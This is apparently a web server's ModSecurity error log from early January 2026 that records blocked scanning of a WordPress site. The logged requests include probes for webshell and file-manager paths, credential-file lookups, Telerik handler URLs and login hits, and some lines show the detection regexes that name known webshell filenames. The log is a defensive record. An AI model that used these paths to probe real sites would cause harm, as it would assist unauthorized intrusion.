[Sat Jan 03 06:13:49.468582 2026] [:error] [pid 2083:tid 2098] [client 4.241.216.136:16277] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1yade.php"] [unique_id "aVhDHTVlR_BmlMPnhV7gGwAAAM0"]
[Sat Jan 03 06:13:52.356078 2026] [:error] [pid 34260:tid 34280] [client 4.241.216.136:51922] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1yade.php"] [unique_id "aVhDIEWWhyvZ0O9KNVTA7wAAARI"]
[Sat Jan 03 06:13:53.618248 2026] [:error] [pid 34260:tid 34273] [client 4.241.216.136:54578] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1yade.php"] [unique_id "aVhDIUWWhyvZ0O9KNVTA9wAAAQs"]
[Sat Jan 03 06:13:59.022082 2026] [:error] [pid 34260:tid 34284] [client 4.241.216.136:51957] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aVhDJ0WWhyvZ0O9KNVTBAwAAARY"]
[Sat Jan 03 06:14:00.308480 2026] [:error] [pid 1931:tid 2038] [client 4.241.216.136:51937] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aVhDKB8Tyw7ZoIdXlcYZHgAAAI4"]
[Sat Jan 03 06:14:02.663777 2026] [:error] [pid 2083:tid 2105] [client 4.241.216.136:54557] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aVhDKjVlR_BmlMPnhV7gWAAAANQ"]
[Sat Jan 03 06:14:03.902415 2026] [:error] [pid 1930:tid 1969] [client 4.241.216.136:55183] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aVhDK5P-6mqhfUDa89zzGQAAAEM"]
[Sat Jan 03 06:14:04.766528 2026] [:error] [pid 2083:tid 2099] [client 4.241.216.136:54569] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aVhDLDVlR_BmlMPnhV7gXAAAAM4"]
[Sat Jan 03 06:14:05.863754 2026] [:error] [pid 1930:tid 1979] [client 4.241.216.136:54581] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aVhDLZP-6mqhfUDa89zzJAAAAE0"]
[Sat Jan 03 06:14:09.690388 2026] [:error] [pid 34260:tid 34275] [client 4.241.216.136:54558] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aVhDMUWWhyvZ0O9KNVTBGwAAAQ0"]
[Sat Jan 03 06:14:10.668931 2026] [:error] [pid 1929:tid 1943] [client 4.241.216.136:44812] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aVhDMucFqdpu6TNsuWrniwAAAAU"]
[Sun Jan 04 02:13:11.654412 2026] [:error] [pid 49229:tid 49275] [client 103.77.106.81:53285] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVlcN1CM4R1akb8JNI7IKQAAAE4"]
[Sun Jan 04 03:12:57.248140 2026] [:error] [pid 49229:tid 49283] [client 104.28.214.54:25090] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aVlqOVCM4R1akb8JNI7ZmwAAAFY"]
[Sun Jan 04 03:13:00.962495 2026] [:error] [pid 49230:tid 49310] [client 104.28.214.54:35653] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/style.php"] [unique_id "aVlqPH2klmw7JRfgM3jrkQAAAJY"]
[Sun Jan 04 05:19:32.445234 2026] [:error] [pid 37538:tid 37614] [client 103.77.107.178:59716] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVmH5IzU2j98LiSLQvRKVQAAAI4"]
[Sun Jan 04 07:08:46.459256 2026] [:error] [pid 33650:tid 33652] [client 45.61.148.251:49166] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx"] [unique_id "aVmhfkzDhphKhMjzf1Ir6wAAAQA"]
[Sun Jan 04 07:08:47.437577 2026] [:error] [pid 37636:tid 37646] [client 45.61.148.251:49306] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx"] [unique_id "aVmhfy3kmZpEf9yy2b1iTwAAAMY"]
[Sun Jan 04 07:08:48.425201 2026] [:error] [pid 37538:tid 37618] [client 45.61.148.251:49310] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhgIzU2j98LiSLQvRqYgAAAJI"]
[Sun Jan 04 07:08:49.315402 2026] [:error] [pid 37537:tid 37581] [client 45.61.148.251:49317] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhgQjHz7EQ5p_4u2p8_gAAAEg"]
[Sun Jan 04 07:08:50.342524 2026] [:error] [pid 37538:tid 37604] [client 45.61.148.251:49380] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhgozU2j98LiSLQvRqagAAAIQ"]
[Sun Jan 04 07:08:51.118456 2026] [:error] [pid 37636:tid 37647] [client 45.61.148.251:49384] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhgy3kmZpEf9yy2b1iVQAAAMc"]
[Sun Jan 04 07:08:52.953218 2026] [:error] [pid 37536:tid 37563] [client 45.61.148.251:49386] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/Admin/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhhG-iKLialy_3rksNSAAAABc"]
[Sun Jan 04 07:08:53.761366 2026] [:error] [pid 37536:tid 37557] [client 45.61.148.251:49442] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/Admin/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhhW-iKLialy_3rksNSgAAABE"]
[Sun Jan 04 07:08:54.630535 2026] [:error] [pid 37536:tid 37558] [client 45.61.148.251:49445] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/TelerikWebUI/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhhm-iKLialy_3rksNTAAAABI"]
[Sun Jan 04 07:08:55.342476 2026] [:error] [pid 37536:tid 37556] [client 45.61.148.251:49447] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/DesktopModules/TelerikWebUI/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhh2-iKLialy_3rksNUAAAABA"]
[Sun Jan 04 07:08:56.139280 2026] [:error] [pid 37538:tid 37606] [client 45.61.148.251:49502] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhiIzU2j98LiSLQvRqcQAAAIY"]
[Sun Jan 04 07:08:57.319716 2026] [:error] [pid 37536:tid 37543] [client 45.61.148.251:49509] [client 45.61.148.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.WebResource.axd"] [unique_id "aVmhiW-iKLialy_3rksNUgAAAAM"]
[Sun Jan 04 18:06:36.113763 2026] [:error] [pid 4426:tid 4449] [client 138.197.13.155:58437] [client 138.197.13.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aVo7rJAfkrNbrfBUY5VPVwAAAlM"], referer: binance.com
[Mon Jan 05 04:58:10.019586 2026] [:error] [pid 5536:tid 5602] [client 89.163.157.127:49566] [client 89.163.157.127] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aVrUYgRtMZNG6xI8yDy-GQAAAIU"], referer: https://www.google.com
[Mon Jan 05 04:58:16.238767 2026] [:error] [pid 5632:tid 5660] [client 89.163.157.127:49584] [client 89.163.157.127] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVrUaIN3ZWvlOh-nbt-b-AAAANA"]
[Mon Jan 05 04:58:16.239182 2026] [:error] [pid 5632:tid 5660] [client 89.163.157.127:49584] [client 89.163.157.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.157.127, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVrUaIN3ZWvlOh-nbt-b-AAAANA"]
[Mon Jan 05 04:58:16.252760 2026] [proxy_fcgi:error] [pid 5632:tid 5660] [client 89.163.157.127:49584] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 04:58:18.272066 2026] [:error] [pid 5632:tid 5653] [client 89.163.157.127:49594] [client 89.163.157.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.163.157.127, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVrUaoN3ZWvlOh-nbt-b_gAAAMk"], referer: https://www.google.com
[Mon Jan 05 04:58:18.276240 2026] [proxy_fcgi:error] [pid 5632:tid 5653] [client 89.163.157.127:49594] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Mon Jan 05 04:58:20.538932 2026] [:error] [pid 5536:tid 5620] [client 89.163.157.127:59472] [client 89.163.157.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.163.157.127, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVrUbARtMZNG6xI8yDy-LgAAAJc"], referer: https://www.google.com
[Mon Jan 05 04:58:20.543655 2026] [proxy_fcgi:error] [pid 5536:tid 5620] [client 89.163.157.127:59472] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Mon Jan 05 06:27:19.391154 2026] [proxy_fcgi:error] [pid 5632:tid 5657] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:19.891725 2026] [proxy_fcgi:error] [pid 5632:tid 5666] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:20.432532 2026] [proxy_fcgi:error] [pid 5632:tid 5655] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:21.009996 2026] [proxy_fcgi:error] [pid 5632:tid 5649] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:21.518426 2026] [proxy_fcgi:error] [pid 5632:tid 5661] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:22.050953 2026] [proxy_fcgi:error] [pid 5632:tid 5647] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:22.603466 2026] [proxy_fcgi:error] [pid 5632:tid 5663] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:23.148319 2026] [proxy_fcgi:error] [pid 5632:tid 5652] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:23.729714 2026] [proxy_fcgi:error] [pid 5632:tid 5665] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:24.340714 2026] [proxy_fcgi:error] [pid 5632:tid 5645] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:25.485713 2026] [proxy_fcgi:error] [pid 5632:tid 5650] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:26.022446 2026] [proxy_fcgi:error] [pid 5632:tid 5654] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:26.567768 2026] [proxy_fcgi:error] [pid 5632:tid 5660] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:27.144230 2026] [proxy_fcgi:error] [pid 5632:tid 5668] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:27.706847 2026] [proxy_fcgi:error] [pid 5632:tid 5666] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:28.297838 2026] [proxy_fcgi:error] [pid 5632:tid 5662] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:28.901556 2026] [proxy_fcgi:error] [pid 5632:tid 5659] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:29.443655 2026] [proxy_fcgi:error] [pid 5632:tid 5661] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:29.972240 2026] [proxy_fcgi:error] [pid 5632:tid 5663] [client 45.67.97.47:38445] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:38.879566 2026] [:error] [pid 5632:tid 5649] [client 45.67.97.47:38445] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVrpWoN3ZWvlOh-nbt--EgAAAMU"]
[Mon Jan 05 06:27:41.588391 2026] [:error] [pid 5534:tid 5548] [client 45.67.97.49:57943] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVrpXZNs9XmbR6unB0zFPQAAAAU"]
[Mon Jan 05 06:27:44.214527 2026] [proxy_fcgi:error] [pid 5534:tid 5554] [client 45.67.97.50:53511] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:45.776012 2026] [:error] [pid 5534:tid 5543] [client 45.67.97.50:53511] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aVrpYZNs9XmbR6unB0zFRAAAAAA"]
[Mon Jan 05 06:27:47.224056 2026] [proxy_fcgi:error] [pid 5632:tid 5666] [client 45.67.97.49:38547] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:47.795524 2026] [proxy_fcgi:error] [pid 5632:tid 5655] [client 45.67.97.49:38547] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:48.309445 2026] [:error] [pid 5632:tid 5656] [client 45.67.97.49:38547] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aVrpZIN3ZWvlOh-nbt--HAAAAMw"]
[Mon Jan 05 06:27:49.888243 2026] [proxy_fcgi:error] [pid 6680:tid 6691] [client 45.67.97.47:28755] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:27:52.530490 2026] [:error] [pid 6680:tid 6702] [client 45.67.97.47:28755] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aVrpaKE58uNoazzTmx3vUwAAARQ"]
[Mon Jan 05 06:27:54.072710 2026] [:error] [pid 5536:tid 5621] [client 45.67.97.50:33385] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVrpagRtMZNG6xI8yDza6QAAAJg"]
[Mon Jan 05 06:27:55.992059 2026] [:error] [pid 5536:tid 5610] [client 45.67.97.49:24231] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aVrpawRtMZNG6xI8yDza7QAAAI0"]
[Mon Jan 05 06:27:57.072772 2026] [:error] [pid 6680:tid 6686] [client 45.67.97.48:57685] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aVrpbaE58uNoazzTmx3vhgAAAQQ"]
[Mon Jan 05 06:27:58.273785 2026] [:error] [pid 5534:tid 5563] [client 45.67.97.50:55869] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aVrpbpNs9XmbR6unB0zFfwAAABQ"]
[Mon Jan 05 06:27:59.730680 2026] [:error] [pid 5534:tid 5555] [client 45.67.97.47:34599] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aVrpb5Ns9XmbR6unB0zFgQAAAAw"]
[Mon Jan 05 06:28:02.494494 2026] [:error] [pid 6680:tid 6696] [client 45.67.97.47:52771] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aVrpcqE58uNoazzTmx3vkAAAAQ4"]
[Mon Jan 05 06:28:03.360622 2026] [proxy_fcgi:error] [pid 6680:tid 6706] [client 45.67.97.49:25171] AH01071: Got error 'Primary script unknown'
